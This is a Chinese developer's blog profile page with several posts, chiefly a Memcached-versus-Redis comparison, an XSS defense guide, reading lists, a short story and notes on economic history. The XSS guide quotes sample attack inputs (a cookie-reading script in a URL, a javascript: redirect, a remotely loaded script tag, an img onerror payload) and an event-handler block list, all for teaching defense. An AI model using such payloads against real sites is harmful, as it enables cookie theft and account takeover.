AlexZ33

AlexZ33 查看完整档案

南京编辑  |  填写毕业院校小米  |  前端工程师 编辑 jxdxsw.com 编辑
编辑

方寸湛蓝

知乎: https://www.zhihu.com/people/...

wechat:zk_lp3333
sha5xiang@gmail.com

个人动态

AlexZ33 发布了文章 · 7月14日

Memcached与Redis有什么区别

Redis 和 Memcached 都是基于内存的数据存储系统。Memcached是高性能分布式内存缓存服务,其本质上就是一个内存key-value数据库。Redis是一个开源的key-value存储系统。与Memcached类似,Redis将大部分数据存储在内存中,支持的数据类型包括:字符串、哈希表、链表、集合、有序集合以及基于这些数据类型的相关操作。那么,Memcached与Redis有什么区别呢?

1、数据操作不同

与Memcached仅支持简单的key-value结构的数据记录不同,Redis支持的数据类型要丰富得多。Memcached基本只支持简单的key-value存储,不支持枚举,不支持持久化和复制等功能。Redis支持服务器端的数据操作相比Memcached来说,拥有更多的数据结构和并支持更丰富的数据操作,支持list、set、sorted set、hash等众多数据结构,还同时提供了持久化和复制等功能。而通常在Memcached里,使用者需要将数据拿到客户端来进行类似的修改再set回去,这大大增加了网络IO的次数和数据体积。在Redis中,这些复杂的操作通常和一般的GET/SET一样高效。所以,如果需要缓存能够支持更复杂的结构和操作, Redis会是更好的选择。

2、内存管理机制不同

在Redis中,并不是所有的数据都一直存储在内存中的。这是和Memcached相比一个最大的区别。当物理内存用完时,Redis可以将一些很久没用到的value交换到磁盘。Redis只会缓存所有的key的信息,如果Redis发现内存的使用量超过了某一个阀值,将触发swap的操作,Redis根据“swappability = age*log(size_in_memory)”计算出哪些key对应的value需要swap到磁盘。然后再将这些key对应的value持久化到磁盘中,同时在内存中清除。这种特性使得Redis可以保持超过其机器本身内存大小的数据。

而Memcached默认使用Slab Allocation机制管理内存,其主要思想是按照预先规定的大小,将分配的内存分割成特定长度的块以存储相应长度的key-value数据记录,以完全解决内存碎片问题。

从内存利用率来讲,使用简单的key-value存储的话,Memcached的内存利用率更高。而如果Redis采用hash结构来做key-value存储,由于其组合式的压缩,其内存利用率会高于Memcached。

3、性能不同

由于Redis只使用单核,而Memcached可以使用多核,所以平均每一个核上Redis在存储小数据时比Memcached性能更高。而在100k以上的数据中,Memcached性能要高于Redis,虽然Redis也在存储大数据的性能上进行了优化,但是比起Memcached,还是稍有逊色。

4、集群管理不同

Memcached是全内存的数据缓冲系统,Redis虽然支持数据的持久化,但是全内存毕竟才是其高性能的本质。作为基于内存的存储系统来说,机器物理内存的大小就是系统能够容纳的最大数据量。如果需要处理的数据量超过了单台机器的物理内存大小,就需要构建分布式集群来扩展存储能力。

Memcached本身并不支持分布式,因此只能在客户端通过像一致性哈希这样的分布式算法来实现Memcached的分布式存储。相较于Memcached只能采用客户端实现分布式存储,Redis更偏向于在服务器端构建分布式存储。

小结:Redis和Memcached哪个更好?

Redis更多场景是作为Memcached的替代者来使用,当需要除key-value之外的更多数据类型支持或存储的数据不能被剔除时,使用Redis更合适。如果只做缓存的话,Memcached已经足够应付绝大部分的需求,Redis 的出现只是提供了一个更加好的选择。总的来说,根据使用者自身的需求去选择才是最合适的。

It’s not uncommon to hear Redis compared to memcached, which is a very high-
performance, key-value cache server. Like memcached, Redis can also store a mapping
of keys to values and can even achieve similar performance levels as memcached. But the similarities end quickly—Redis supports the writing of its data to disk automatically
in two different ways, and can store data in four structures in addition to plain string keys
as memcached does. These and other differences allow Redis to solve a wider range of
problems, and allow Redis to be used either as a primary database or as an auxiliary data-
base with other storage systems.
查看原文

赞 0 收藏 0 评论 0

AlexZ33 发布了文章 · 7月3日

【Web安全】xss防护实践

XSS

XSS (Cross-Site Scripting),跨站脚本攻击,因为缩写和 CSS重叠,所以只能叫 XSS。跨站脚本攻击是指通过存在安全漏洞的Web网站注册用户的浏览器内运行非法的HTML标签或JavaScript进行的一种攻击。

跨站脚本攻击有可能造成以下影响:

  • 利用虚假输入表单骗取用户个人信息。
  • 利用脚本窃取用户的Cookie值,被害者在不知情的情况下,帮助攻击者发送恶意请求。
  • 显示伪造的文章或图片。

XSS 的原理是恶意攻击者往 Web 页面里插入恶意可执行网页脚本代码,当用户浏览该页之时,嵌入其中 Web 里面的脚本代码会被执行,从而可以达到攻击者盗取用户信息或其他侵犯用户安全隐私的目的

XSS 的攻击方式千变万化,但还是可以大致细分为几种类型。

  • 存储型XSS:注入型脚本永久存储在目标服务器上。当浏览器请求数据时,脚本从服务器上传回并执行。
  • 反射型XSS: 当用户点击一个恶意链接,或者提交一个表单,或者进入一个恶意网站时,注入脚本进入被攻击者的网站。Web服务器将注入脚本,比如一个错误信息,搜索结果等 返回到用户的浏览器上。浏览器会执行这段脚本,因为,它认为这个响应来自可信任的服务器。
  • 基于DOM的XSS:被执行的恶意脚本会修改页面脚本结构

XSS最终是要以“输出编码”来完成攻击的,我们将“输出编码”的攻击方法总结为以下几种

  • 在 HTML 标签中输出变量;
  • 在 HTML 属性中输出变量;
  • 在 script 标签中输出变量;
  • 在事件中输出变量;
  • 在 CSS 中输出变量;
  • 在 URL 中输出变量。

表现为:

  • 在 HTML 中内嵌的文本中,恶意内容以 script 标签形成注入。
  • 在内联的 JavaScript 中,拼接的数据突破了原本的限制(字符串,变量,方法名等)。
  • 在标签属性中,恶意内容包含引号,从而突破属性值的限制,注入其他属性或者标签。
  • 在标签的 href、src 等属性中,包含 ​javascript:​ 等可执行代码。
  • 在 onload、onerror、onclick 等事件中,注入不受控制代码。
  • 在 style 属性和标签中,包含类似 ​background-image:url("javascript:...");​ 的代码(新版本浏览器已经可以防范)。
  • 在 style 属性和标签中,包含类似 ​expression(...)​ 的 CSS 表达式代码(新版本浏览器已经可以防范)。
  • 在url参数上(下面有例子)

反射型 XSS

特征:

攻击者可以直接通过 URL (类似:​https://xxx.com/xxx?default=<script>alert(document.cookie)</script></script>)​) 注入可执行的脚本代码。不过一些浏览器如Chrome其内置了一些XSS过滤器,可以防止大部分反射型XSS攻击。

措施

  • Web 页面渲染的所有内容或者渲染的数据都必须来自于服务端。
  • 尽量不要从 ​URL​,​document.referrer​,​document.forms​ 等这种 DOM API 中获取数据直接渲染。
  • 尽量不要使用 ​eval​, ​new Function()​,​document.write()​,​document.writeln()​,​window.setInterval()​,​window.setTimeout()​,​innerHTML​,​document.createElement()​ 等可执行字符串的方法。
  • 如果做不到以上几点,也必须对涉及 DOM 渲染的方法传入的字符串参数做 escape 转义。
  • 前端渲染的时候对任何的字段都需要做 escape 转义编码。

_// 防御xss漏洞_

_// 对字符串进行 XSS 过滤_

_//_ _https://eggjs.org/zh-cn/core/security.html#%E5%BC%80%E5%90%AF%E4%B8%8E%E5%85%B3%E9%97%AD%E9%85%8D%E7%BD%AE_

**function** decodeInput(char) {

switch (char) {

case "&":

return "&amp;";

case "<":

return "&lt;";

case ">":

return "&gt;";

case '"':

return "&quot;";

case "'":

return "&#39;";

case " ":

return "&nbsp;";

default:

return char + "";

}

}

如果拼接 HTML 是必要的,就需要采用合适的转义库,对 HTML 模板各处插入点进行充分的转义。

常用的模板引擎,如 doT.js、ejs、FreeMarker 等,对于 HTML 转义通常只有一个规则,就是把 ​& < > " ' /​ 这几个字符转义掉,确实能起到一定的 XSS 防护作用,但并不完善:

XSS 安全漏洞简单转义是否有防护作用
HTML 标签文字内容例如前端工程,针对html  使用 https://jsxss.com/zh/index.html
HTML 属性值例如前端工程,针对html  使用https://jsxss.com/zh/index.html
CSS 内联样式例如前端工程,针对html  使用 https://jsxss.com/zh/index.html
内联 JavaScript过滤,包括前端输入时候,服务端入库前,服务端输出前,前端触发前
内联json实现escapeJson函数
跳转链接单独处理

所以要完善 XSS 防护措施,我们要使用更完善更细致的转义策略。

例如 Java 工程里,常用的转义库为 ​org.owasp.encoder​。以下代码引用自 org.owasp.encoder 的官方说明

_<!-- HTML 标签内文字内容 -->_

<div><%= Encode.forHtml(UNTRUSTED) %></div>

_<!-- HTML 标签属性值 -->_

<input value="<%= Encode.forHtml(UNTRUSTED) %>" />

_<!-- CSS 属性值 -->_

<div style="width:<= Encode.forCssString(UNTRUSTED) %>">

_<!-- CSS URL -->_

<div style="background:<= Encode.forCssUrl(UNTRUSTED) %>">

_<!-- JavaScript 内联代码块 -->_

<script>

var msg = "<%= Encode.forJavaScript(UNTRUSTED) %>";

alert(msg);

</script>

_<!-- JavaScript 内联代码块内嵌 JSON -->_

<script>

var __INITIAL_STATE__ = JSON.parse('<%= Encoder.forJavaScript(data.to_json) %>');

</script>

_<!-- HTML 标签内联监听器 -->_

<button

onclick="alert('<%= Encode.forJavaScript(UNTRUSTED) %>');">

click me

</button>

_<!-- URL 参数 -->_

<a href="/search?value=<%= Encode.forUriComponent(UNTRUSTED) %>&order=1#top">

_<!-- URL 路径 -->_

<a href="/page/<%= Encode.forUriComponent(UNTRUSTED) %>">

_<!--_

_URL._

_注意:要根据项目情况进行过滤,禁止掉 "javascript:" 链接、非法 scheme 等_

_-->_

<a href='<%=

urlValidator.isValid(UNTRUSTED) ?

Encode.forHtml(UNTRUSTED) :

"/404"

%>'>

link

</a>

场景实践

  1. 进入漏洞url: xxx.com/login?_redirect=javascript:alert(1)) (预览环境已经回退, 可线查看)
  2. 扫码登陆
  3. 成功弹窗

针对这种,防护比较简单,我们直接过滤即可。

这个问题StackOverflow 有类似讨论 is-it-secure-to-use-window-location-href-directly-without-validation

  • 做了 HTML 转义,并不等于高枕无忧。
  • 对于链接跳转,如 ​<a href="xxx"​ 或 ​location.href="xxx"​,要检验其内容,禁止以 ​javascript:​ 开头的链接,和其他非法的 scheme。完善一点解决的话,应该如下。

_// 根据项目情况进行过滤,禁止掉_ _"javascript:"_ _链接、非法 scheme 等_

allowSchemes = ["http", "https"];

valid = isValid(getParameter("redirect_to"), allowSchemes);

if (valid) {

<a href="<%= escapeHTML(getParameter("redirect_to"))%>">

跳转...

</a>

} else {

<a href="/404">

跳转...

</a>

}

存储型 XSS(持久型)

存储型 XSSXSS 漏洞,一般存在于 Form 表单,富文本编辑提交等交互功能,如文章留言,提交文本信息等,黑客利用的 XSS 漏洞,将内容经正常功能提交进入数据库持久保存,当前端页面获得后端从数据库中读出的注入代码时,恰好将其渲染执行。

场景实践

<SCRIPT SRC=http://xss.rocks/xss.js></SCRIPT>

去掉script即可,因为无论怎么注入的,最终它是需要在页面里面通过script标签加载的

DOM型XSS

(纯前端涉及的主要是这里)

Dom Based XSS 并非按照“数据是否存在服务器端”来划分,DOM Based XSS 从效果上来说也是反射型 XSS。单独划分开来,是因为 DOM Based XSS 形成原因比较特别——通过修改页面的 DOM 节点形成的 XSS。

DOM 型 XSS 攻击,实际上就是网站前端 JavaScript 代码本身不够严谨,把不可信的数据当作代码执行了。

  • 在使用 ​.innerHTML​、​.outerHTML​、​document.write()​ 时要特别小心,不要把不可信的数据作为 HTML 插到页面上,而应尽量使用 ​.textContent​、​.setAttribute()​ 等。实在需要使用,先转义。

Attributes

element.innerHTML = "<HTML> Tags and markup";

element.outerHTML = "<HTML> Tags and markup";

Methods

document.write("<HTML> Tags and markup");

document.writeln("<HTML> Tags and markup");

element.innerHTML = "<%=Encoder.encodeForJS(Encoder.encodeForHTML(untrustedData))%>";

element.outerHTML = "<%=Encoder.encodeForJS(Encoder.encodeForHTML(untrustedData))%>";

document.write("<%=Encoder.encodeForJS(Encoder.encodeForHTML(untrustedData))%>");

document.writeln("<%=Encoder.encodeForJS(Encoder.encodeForHTML(untrustedData))%>"

场景实践

注意我这里的例子很多同学会困惑这个明明是储存型的或者是下面要讲的富文本的,为什么会放在这里, 其实是因为最终页面使用的v-html

在发帖处输入

<a href="#" onclick="alert("1")">test</a>

使用这个库js-xss, 白名单, 过滤掉a标签多余属性: https://github.com/leizongmin/js-xss/blob/master/lib/default.js

富文本(属于储存型,难点)

富文本和我们平常XSS 案例不一样,不是简单的在输出位置做针对性过滤就行的,因为既然提供富文本编辑器,那么肯定是内容需要支持某些标签输入输出,如果 XSS FILTER 直接干掉了标签,会影响到内容的展示,所以有必要对富文本情况拎出来单独处理。

富文本的xss防御比较多样化,除了上述的一些,还应注意使用白名单标签,避免使用黑名单标签。

处理富文本和输入检查是一致的,我们会对用户输入的信息添加一个白名单,比如在富文本里面允许用户输入​<img >​等标签,不允许输入​<script>​等标签,  建立标签白名单。用到下面这个库。

https://jsxss.com/zh/index.html

场景实践

默认未对img标签的onerror属性做过滤

<img/data-original=1 onerror=alert(1)>

使用 shtml 可以输出 HTML 的 tag,同时执行 XSS 的过滤动作,过滤掉非法的脚本。

shtml 在 xss 模块基础上增加了针对域名的过滤。

例如只支持 a 标签,且除了 title 其他属性都过滤掉: ​whiteList: {a: ['title']}​

options:

  • ​config.helper.shtml.domainWhiteList: []​ 可拓展 href 和 src 中允许的域名白名单。

注意,shtml 使用了严格的白名单机制,除了过滤掉 XSS 风险的字符串外, 在默认规则外的 tag 和 attr 都会被过滤掉。

例如 HTML 标签就不在白名单中,

const html = '<html></html>';// html{{ helper.shtml(html) }}// 输出空

常见的 ​data-xx​ 属性由于不在白名单中,所以都会被过滤。

所以,一定要注意 shtml 的适用场景,一般是针对来自用户的富文本输入,切忌滥用,功能既受到限制

解决方案

1、后端禁掉所有事件(通过拦截事件关键词,如果包含直接返回异常)

2、对于二次拼接的事件名处理

// 定义事件正则表达式

**private** **final** **static** List<String> eventTagList = Arrays.asList("onanimationcancel(.*?)=", "onanimationend(.*?)=", "onblur(.*?)=",

"oncancel(.*?)=", "oncanplay(.*?)=", "oncanplaythrough(.*?)=", "onchange(.*?)=", "onclick(.*?)=", "oncontextmenu(.*?)=",

"oncuechange(.*?)=", "ondblclick(.*?)=", "ondurationchange(.*?)=", "onended(.*?)=", "onerror(.*?)=", "onfocus(.*?)=",

"ongotpointercapture(.*?)=", "oninput(.*?)=", "oninvalid(.*?)=", "onkeydown(.*?)=", "onkeypress(.*?)=", "onkeyup(.*?)=",

"onload(.*?)=", "onloadeddata(.*?)=", "onloadedmetadata(.*?)=", "onloadend(.*?)=", "onloadstart(.*?)=", "onlostpointercapture(.*?)=",

"onmousedown(.*?)=", "onmouseenter(.*?)=", "onmouseleave(.*?)=", "onmousemove(.*?)=", "onmouseout(.*?)=", "onmouseover(.*?)=",

"onmouseup(.*?)=", "onpause(.*?)=", "onplay(.*?)=", "onpointercancel(.*?)=", "onpointerdown(.*?)=", "onpointerenter(.*?)=",

"onpointerleave(.*?)=", "onpointermove(.*?)=", "onpointerout(.*?)=", "onpointerover(.*?)=", "onpointerup(.*?)=", "onreset(.*?)=",

"onresize(.*?)=", "onscroll(.*?)=", "onselect(.*?)=", "onsubmit(.*?)=", "ontransitioncancel(.*?)=", "ontransitionend(.*?)=", "onwheel(.*?)=");

//校验

**for** (String eventTag : eventTagList) {

scriptPattern = Pattern.compile(eventTag, Pattern.CASE_INSENSITIVE | Pattern.MULTILINE | Pattern.DOTALL);

checkScriptPattern(scriptPattern, value);

}

**private** **static** **void** checkScriptPattern(Pattern scriptPattern, String value) **throws** KnightsException {

**if** (**null** == scriptPattern) {

**return**;

}

**boolean** find = scriptPattern.matcher(value).find();

**if** (find) {

logger.error("checkScriptPattern find, scriptPattern={}, value={}", scriptPattern.pattern(), value);

**throw** **new** KnightsException(RetCode.ERR_VP_CONTENT_ABNORMAL);

}

}

常用解决方案总结

1) CSP

CSP 本质上就是建立白名单,开发者明确告诉浏览器哪些外部资源可以加载和执行。我们只需要配置规则,如何拦截是由浏览器自己实现的。我们可以通过这种方式来尽量减少 XSS 攻击。

通常可以通过两种方式来开启 CSP:

  • 设置 HTTP Header 中的 Content-Security-Policy
  • 设置 meta 标签的方式

这里以设置 HTTP Header 来举例:

  • 只允许加载本站资源

Content-Security-Policy: default-src 'self'

  • 只允许加载 HTTPS 协议图片

Content-Security-Policy: img-src https://*

  • 允许加载任何来源框架

Content-Security-Policy: child-src 'none'

如需了解更多属性,请查看Content-Security-Policy文档

对于这种方式来说,只要开发者配置了正确的规则,那么即使网站存在漏洞,攻击者也不能执行它的攻击代码,并且 CSP 的兼容性也不错。

2)X-XSS-Protection

此 header 能在用户浏览器中开启基本的 XSS 防御。它不能避免一切 XSS 攻击,但它可以防范基本的 XSS。例如,如果浏览器检测到查询字符串中包含类似 ​<script>​ 标签之类的内容,则会阻止这种疑似 XSS 攻击代码的执行。这个 header 可以设置三种不同的值:​0​、​1​ 和 ​1; mode=block​。如果你想了解更多关于如何选择模式的知识,请查看 ​X-XSS-Protection及其潜在危害 一文

3) 转义字符

用户的输入永远不可信任的,最普遍的做法就是转义输入输出的内容,对于引号、尖括号、斜杠进行转义

function escape(str) {

str = str.replace(/&/g, '&amp;')

str = str.replace(/</g, '&lt;')

str = str.replace(/>/g, '&gt;')

str = str.replace(/"/g, '&quto;')

str = str.replace(/'/g, '&#39;')

str = str.replace(/`/g, '&#96;')

str = str.replace(/\//g, '&#x2F;')

return str

}

4)白名单

但是对于显示富文本来说,显然不能通过上面的办法来转义所有字符,因为这样会把需要的格式也过滤掉。对于这种情况,通常采用白名单过滤的办法,当然也可以通过黑名单过滤,但是考虑到需要过滤的标签和标签属性实在太多,更加推荐使用白名单的方式。

const xss = require('xss')

let html = xss('<h1 id="title">XSS Demo</h1><script>alert("xss");</script>')

// -> <h1>XSS Demo</h1>&lt;script&gt;alert("xss");&lt;/script&gt;

console.log(html)

以上示例使用了 js-xss 来实现,可以看到在输出中保留了 h1 标签且过滤了 script 标签。

5) HttpOnly Cookie。

HttpOnly 是一个设置 cookie 是否可以被 javasript 脚本读取的属性,浏览器将禁止页面的 Javascript 访问带有 HttpOnly 属性的 Cookie。

这是预防XSS攻击窃取用户cookie最有效的防御手段。Web应用程序在设置cookie时,将其属性设为HttpOnly,就可以避免该网页的cookie被客户端恶意JavaScript窃取,保护用户cookie信息

const express = require('express');

const app = express();

app.use(function(req, res, next) {

res.setHeader('Content-Type', 'text/html;charset=utf-8');

// 模拟设置用户tookie

//可以把类似敏感信息都设置 httpOnly: true

res.cookie('token', 'zkskskdngqkkkgn245tkdkgj', { httpOnly: true });

next();

});

6) IP访问限制

系统后台增加ip访问限制,主要是针对获取cookie伪造管理员登入方式

7)白名单无法解决的,禁止掉触发事件

8)验证码:防止脚本冒充用户提交危险操作。

9)输入内容长度控制

对于不受信任的输入,都应该限定一个合理的长度。虽然无法完全防止 XSS 发生,但可以增加 XSS 攻击的难度。

10)Javacript过滤(上面已经讲了一些,涉及的内容很多,具体问题具体分析)

**web安全从来是攻防的过程,攻击者的脑回路你总有猜不出来的时候,

所以总结来说,处理的时候可以有以下思路

  • 阻止输入,输入过滤
  • 后端入库前过滤
  • 后端输出前转义和过滤
  • 阻止输出(url中的输出, css中的输出, <script>中的输出,html属性中的输出,html标签中的输出),阻止触发(事件触发、)

参考文献

查看原文

赞 0 收藏 0 评论 0

AlexZ33 发布了文章 · 7月3日

2019 年你读了哪些书?

 2019已经结束,总结下2019年读的书
  • 《中国经济2020》 对2020年中国经济的简略预期和论述,值得一读
  • 《论历史》 艾瑞克 霍布斯鲍姆

不同于很多西方历史学家,作者是马克思主义者,非常符合我们的价值观,论述一针见血,没有一些所谓西方学者那种似是而非的论述

  • 《书与你》毛姆

毛姆的读书笔记,读起来舒适有趣,就像跟你交谈

  • 《游荡集》 许知远

作者的文笔是真的好,可是论述是真的无深度。属于迷失的一代。 我主要是看他的语言文字

  • 《论中国》亨利 基辛格

基辛格老先生不愧是国家关系学的巨擘,十分了解中国文化的内核,也能从人类文明的高度可观的去比较中美两个文明在历史的中的位置

  • 《光荣与梦想》 威廉 曼彻斯特

读完能够了解真正的美国,可观,有力。能了解这个国家的成功的原因与真正不足和残酷的地方。

  • 《叶芝诗选》

比较差,翻译。不建议阅读

  • 《西洋》 刘慈欣

讲的是郑和下西洋以后没有错过大航海时代,东西方文明处境互换后 世界的面貌。想象奇丽,感情令人扼腕。

  • 《龙与少年游,江南随笔》 江南

江南的碎碎念

  • 《易中天中华史: 朱明王朝》 易中天

写的比较庸俗,对明历史的认知不够。整套易中天中华史都读过,因为也读过剑桥中华史,和其他明史材料。 易中天老师这本有点出的草率了。

  • 《宋词三百首》

很棒,彼时正好失恋,很能够勾起情绪。摘录了很多在知乎的另一个回答的评论里面

网恋对象一个月了,挺喜欢他的。昨天他突然发自拍给我,觉得他长的丑怎么办? - 白鲸鱼的回答 - 知乎 https://www.zhihu.com/question/276748593/answer/430237573

  • 《战斗吧 祖先大人》 一篇网络小说, 可读
  • 《世界秩序》 基辛格

如论中国,推荐一读

  • 《余秋雨散文》

所谓的文化散文,以前也是风靡一时,看过两遍。不错,可读

  • 《参与感: 小米口碑营销内部手册》 黎万强

值得一读

  • 《东京奇谭集》 村上春树

各种短篇小说, 适合午后的沙发或阳台翻看。忧伤、明丽、清新。

  • 《间谍的战争》 长篇网络军事小说,不错,值得一读
  • 《德国通史》丁建宏 以前读过一遍,再读有不少收货
  • 《我们三》杨绛

杨绛先生挺矫情的,不过这本书里和女儿丈夫的家庭生活还是适合大家一窥的。

  • 《剑桥中华史:中华人民共和国史(下) 》

读读外国人写的可以辩证看待自身,推荐读

查看原文

赞 0 收藏 0 评论 0

AlexZ33 发布了文章 · 7月3日

2018 年你读了哪些书?

只是是书,还是限定哲学方面呢。

话说2017我的书单还没完成。

算了,就不刻意完成之前的书单了,本就是兴之所至,随手翻开读的。

列下今年读的文本。

《白夜行》:这本大学时候读时候没读完,偶得之又翻了翻,终于一次翻完,雪穗实在是!真是一本满满的恶意小说,配合东野的《恶意》食用应该效果更佳,小伙伴看了怀疑世界不要来找我。

《毛泽东读24史》

《威尔斯讲世界史》

《俾斯麦》:之前读过另一作者写的,这本是皮波国际名人研究中心的那本。

《文明之旅》余秋雨的

《世界文明史话:亚历山大帝国》

《铁马秋风:陆游》

《毛泽东传》

《王羲之》

《德国:从统一到分裂再到统一》

《世界帝国史话: 波斯帝国》

《项链》 莫泊桑那本

《文学回忆录》木心那本,终于读完了

《银河英雄传说:黎明篇》田中芳树的

《全球进化》是本网络小说,感觉写的挺好。

《你所不知道的js下》

上面是读完的,开坑没完的就不列了。

查看原文

赞 0 收藏 0 评论 0

AlexZ33 发布了文章 · 7月3日

【小故事】少年、骑士和公主

我是出生东海的少年

我听着骑士和公主的故事长大

古老的故事如是记载:

海棠城的国王

从圣山阿拉穆萨归来

他捡到一个可爱的女婴

名字唤作镜心

她健康快乐地在城内成长

她是整个海棠城的明珠

“A stranger came from a foreign land

Asking for the madden's hand

Her father said: no, go away

She's gonna marry a king one day”


我向往的是公主与骑士的爱情,

再不济,公主与王子也是很好的,

毕竟我知道:她过得很好

可惜消息传来,

她不远万里,嫁给了北方来的海盗头子。

“The king asked tremblingly, Are you forced?

NO

Who is that guy?

He is a Pirate "


他们说海盗头子有过很多女人

也抛弃过很多女人

他们说海盗头子是个糟老头

瞎了一只眼

他们还说 海盗头子把他的宝藏

埋在了one piece的尽头

等着他死后 让他的子孙去开启


当盛夏的季风来临的时候,

东海的金陵港一片忙碌

海风裹挟着湿漉的水气扑面而来

她盛装挽着一个满脸胡渣的中年男人走出甲板

甫一出现

人群便一片骚动

我远远的看着

心思千回百转

五味杂陈

她看他的眼神

真的不似作伪

可是,她的骑士呢

那个为她披坚执锐

为她冲锋陷阵

为她战斗的不羁男子

那个她用同样的目光凝视的男子呢?

查看原文

赞 0 收藏 0 评论 0

AlexZ33 发布了文章 · 7月3日

performace的使用

获取精度更高的时间
  • 浏览器使用 performance.now() 可以获取到performance.timing.navigationStart 到当前时间之间的微秒数
  • Node.js 使用 process.hrtime 返回一个数组,其中第一个元素的时间以秒为单位,第二个元素为剩余的纳秒
获取首屏时间

H5 如果页面首屏有图片:

首屏时间 = 首屏图片全部加载完毕的时刻 - performance.timing.navigationStart

如果页面首屏没有图片:

首屏时间 = performance.timing.domContentLoadedEventStart-performance.timing.navigationStart

查看原文

赞 0 收藏 0 评论 0

AlexZ33 发布了文章 · 7月3日

网址SEO原则和技巧

  • 一个页面只设置1个H1标签的(SEO规范)
  • 若技术条件允许的话,可将H1标签加在首页logo上(只加首页,不是全站),建议写法:
<h1 class="logo"><a href="host"><img data-original="logo图片路径" alt="网站名称" /></a></h1>

优化好处:

1. 减少搜索引擎抓取网站主题的难度

2. 提升搜索引擎友好度

3. 提升关键词排名

查看原文

赞 1 收藏 1 评论 0

AlexZ33 发布了文章 · 7月3日

B/S架构和C/S架构的区别

C/S:

  • 大多数传统C/S互联网应用程序采用的长连接的交互模式

B/S:

  • 基于统一的应用层协议HTTP来交互数据,HTTP协议采用无状态的短连接的通信方式(通常情况下,一次请求就完成一次数据交互,通常也对应一个业务逻辑,然后这次通信就断开了,采用这种方式为了能够同时服务更多用户,因为当前互联网应用每天会处理上亿的用户请求,不可能每个用户访问一次以后就一直保持住这个连接)
  • 基于HTTP协议特点,目前B/S网络架构大都采用类似下面所示设计(既要满足海量用户的访问请求,又要保持用户请求的快速响应,所以现在的网络架构越来越复杂)
用户输入url到访问到页面经历了什么? 当用户在浏览器里输入https://game.xiaomi.com/这个url时候. 首先会请求DNS把这个域名解析成对应的ip地址在互联网找到对应的服务器.向这个服务器发一个get请求,由这个服务器决定返回默认数据资源给用户.在服务器端还有更复杂的业务逻辑:服务器可能有很多台,到底指定哪台来处理请求,还需要负载均衡来平均分配所有用户请求,还有请求的数据是储存在分布式缓存里面还是一个静态文件中,或是在数据库里.当数据返回浏览器时,浏览器解析数据发现还有一些静态资源(如css,js或者图片)会发起另外的http请求,而这些请求可能会在cdn上,那么cdn服务器又会处理这个用户的请求.

  • 不管网络架构如何变化,但是始终有一些固定不变的原则需要遵循.
  • 互联网所有资源都要用一个url来表示.url就是统一资源定位符,如果你要发布一个或者一个资源到互联网.那你首先有一个独一无二的URL
  • 必须基于HTTP协议与服务端交互
  • 数据展示必须在浏览器中进行.
查看原文

赞 0 收藏 0 评论 0

AlexZ33 发布了文章 · 6月8日

【读书笔记】繁荣的背后--解读现代世界的经济大增长

t6_602739.jpg

马尔萨斯循环

马尔萨斯提出的广受诟病的“积极抑制”(positive checks)原理认为,造成“马尔萨斯循环”(Malthusian Cycle)的不仅包括典型的饥荒、瘟疫和战争问题,还包括其他一系列不那么严重的问题,如恶劣的工作环境、繁重的劳动、拥挤肮脏的住所以及儿童营养不良。如果在某个短暂的时期,粮食突然变得充裕起来,人口就会迅速增长。然而,劳动力供给的增加很快就会迫使工资下降,这就会导致人们买不起食物,并造成结婚率下降,从而减缓人口的增长。低工资会促使农场主雇用更多的工人,反过来,这又会使得更多的土地投入生产,粮食再次变得比以前略为充裕一些,于是,在人口数量和粮食产量都比以前略高的基础上,整个循环过程又重新开始—这就是著名的“马尔萨斯循环”。

马尔萨斯认为,造成食物短缺的根本原因是非常明显的,即“人口增长的能力要比地球为人类生产食物的能力强得多”。人口数量可以快速增长,而农业生产则受制于边际报酬递减这一自然规律,因此,人类必然会面临食物短缺问题。(马尔萨斯人口原理的基本思路是,人口呈几何级数增长,而食物供给呈算数级数增长。)

指标

  • 衡量远古时期繁荣程度的最佳指标之一就是计算城市人口的比例——城市化率。该比例越高,则社会越繁荣。
  • 在任何社会中,最重要的一种商品价格就是货币的价格,即贷款和债券的现行利率。如果货币变得昂贵了(高利息率),那么消费者将不愿意花钱,商人将不愿意贷款来扩张现有业务或拓展新业务,社会经济也会因此衰退。如果货币变得便宜了(低利息率),消费者和商人都愿意借钱,经济就会开始增长

荷兰

  • 1421
  • 1450年开始,欧洲的物价开始上涨
  • 15世纪中期,当价格开始上升的时候,谷物的价格上升得最厉害。在中世纪时期,谷物是人类最基本的生活必需品,因此是缺乏弹性的;牲畜、工业原料作物(如亚麻和木材)和工业品的弹性依次递增;工业品是最具弹性的商品。换言之,当产品变得稀缺的时候,工业品价格的涨幅是最小的,谷物价格的涨幅是最大的。
  • 15世纪后期,谷物价格飞速上涨,极大地提高了农地的价值。这又刺激了自罗马时代以来一直默默无闻的土木工程技术的发展。刚刚获得自主权的荷兰农民使用一种新型的风车,这种风车只需要转动顶部(而不是整个装置
  • 1500年后,所谓的小冰期降低了全球气温,地球两极的冰雪覆盖面积扩大,导致海平面下降。随着时间的推移,这就缓解了荷兰堤坝维护的负担(在16世纪,荷兰有14次遭海水淹没的记录)
  • 16世纪中期,,荷兰的贷方能够以4%~5%的利息率为大型建设项目提供资金,而农民能够以稍高的利息率获得抵押贷款。(亚当·斯密所说的商业贷款利率为3%和政府贷款利率为2%的情况发生在较晚的时期,并且即便是在那时候,这种说法也是有些夸张的。
  • 1610~1640年,荷兰的投资者在排水系统上的投入是惊人的,高达1000万荷兰盾,相当于国家财富相当大的一部分,远远高于荷兰东印度公司的投资数量。
  • 1631年,荷兰主要城市达成了一种自由贸易协定,运河的开凿才得以蓬勃发展。由于煤泥矿业的庞大运输量只有通过船运才能降低成本,所以运河交通的发展与煤泥矿业联系紧密。当煤泥需求旺盛时,利润丰厚,运河建设量猛增;当煤泥的价格下降时,经营运河的企业家便放弃运河项目,从而给投资者带来巨大的损失。
  • 到了17世纪中期17世纪中期,荷兰的沿海区域,包括阿姆斯特丹、哈姆勒、莱顿、海牙、代夫特、鹿特丹、高达和乌得勒支,被称为狭长地带。它们成了美国东北部走廊的原型,约容纳了全国人口的1/3
  • 1665年,荷兰已经建设了将近400英里的运河,为本国提供了世界上最完善的内运系统。
  • 1700年,荷兰人成了世界上最富裕的民族,人均国内生产总值几乎是其最接近的竞争者英国的两倍。此外,荷兰还拥有无与伦比的金融体系、运输体系和城市基础设施。尽管在这两个世纪的快速发展过程中,荷兰一直为生存而战,首先是反对西班牙王国的独立战争,随后是与法国和英国的对抗,但是荷兰却拥有欧洲最美丽的城市风景。
  • 公元1700年,34%的荷兰人居住在城市,数量过万,远远高于英国的13%、法国的9%和意大利的15%。
